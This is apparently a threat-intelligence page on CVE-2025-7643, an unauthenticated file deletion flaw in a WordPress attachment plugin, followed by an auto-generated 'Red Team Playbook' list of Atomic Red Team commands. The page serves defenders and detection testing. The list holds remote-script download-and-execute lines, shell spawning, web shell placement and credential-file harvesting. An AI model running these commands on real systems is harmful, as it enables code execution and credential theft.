CVE-2025-7643
Overview
This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file paths within the handle_actions() function of the Attachment Manager plugin for WordPress. The affected component fails to properly sanitize user-supplied input, allowing manipulation of file paths. This improper validation occurs in all versions up to and including 2.1.2, enabling unauthorized file system operations.
Vulnerability Description
The Attachment Manager plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the handle_actions() function in all versions up to, and including, 2.1.2. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An unauthenticated attacker can delete arbitrary files on the web server, including critical configuration files like wp-config.php, by exploiting this flaw. This can disrupt website functionality or enable remote code execution by removing or altering key files. The vulnerability requires no user interaction or authentication, accessible remotely over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to service disruption, data loss, and potential full system compromise.
Solution
Users should upgrade the Attachment Manager plugin to version 2.1.3 or later, where the handle_actions() function includes proper file path validation and access controls. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/5731b971-4408-4c64-809c-e95fba33009e) provides detailed patch information. No official workaround is documented; immediate plugin update is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Attachment Manager plugin for WordPress arises from inadequate file path validation within the handle_actions() function. This flaw allows unauthorized users to manipulate file deletion processes on the server. Specifically, the lack of stringent checks means that an attacker can craft requests that target sensitive files, leading to arbitrary file deletion. The implications of this vulnerability are severe, as it can facilitate further attacks, including remote code execution, particularly if critical configuration files such as wp-config.php are deleted. This file typically contains sensitive database credentials and other configuration settings, making its compromise a gateway for complete system takeover.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving unauthenticated access to the affected plugin's functionality. An attacker could leverage automated scripts or manual requests to invoke the handle_actions() function, specifying paths to critical files on the server. Given that the plugin does not enforce strict access controls or file path restrictions, an attacker can easily delete files that are pivotal for the operation of the WordPress site. For instance, deleting the wp-config.php file would not only disrupt the website's functionality but also expose sensitive information, allowing the attacker to gain unauthorized access to the database and potentially execute arbitrary code.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. The potential for arbitrary file deletion poses a substantial business risk, as it can lead to website downtime, loss of data integrity, and reputational damage. Organizations may face financial losses due to service interruptions, costs associated with incident response and recovery, and potential legal ramifications if customer data is compromised. Additionally, the ease of exploitation means that even low-skilled attackers could potentially leverage this vulnerability, increasing the likelihood of widespread attacks across multiple sites using the affected plugin.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Attachment Manager plugin and other WordPress components is crucial, as updates often include security patches that address known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests aimed at exploiting this flaw. Monitoring server logs for unusual file deletion activity can also provide early warning signs of an attempted exploit. Furthermore, restricting file permissions and employing proper access controls can limit the impact of successful attacks, ensuring that even if an attacker gains access, their ability to delete critical files is curtailed.
In conclusion, the vulnerability within the Attachment Manager plugin for WordPress exemplifies the critical need for robust security practices in web applications. The combination of inadequate input validation and the potential for unauthenticated access creates a dangerous scenario for WordPress users. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare their defenses against such vulnerabilities. Proactive measures, including regular updates, monitoring, and access control, are essential to safeguarding against the risks posed by this and similar vulnerabilities in the ever-evolving landscape of cybersecurity threats.
CSURFACE threat intelligence has identified a marked escalation in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-7643, which nearly doubled from its previous value. This significant increase indicates a growing likelihood of exploitation attempts targeting the Attachment Manager plugin vulnerability, despite the absence of newly reported exploit techniques or proof-of-concept code. The stability of the 7-day trend suggests that this elevated risk level is sustained rather than transient. For defenders, this heightened EPSS score signals an increased probability that threat actors are actively scanning for or preparing to leverage this critical arbitrary file deletion flaw to achieve remote code execution. Consequently, the threat level associated with CVE-2025-7643 has intensified, underscoring the urgency for vigilant monitoring and proactive detection measures. Although no direct exploit sightings have been recorded recently, the upward trend in predictive scoring reflects an evolving threat landscape where exploitation could become more prevalent, increasing the potential impact on affected WordPress environments.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-7643 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5731b971-4408-4c64-809c-e95fba33009e?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/attachment-manager/ |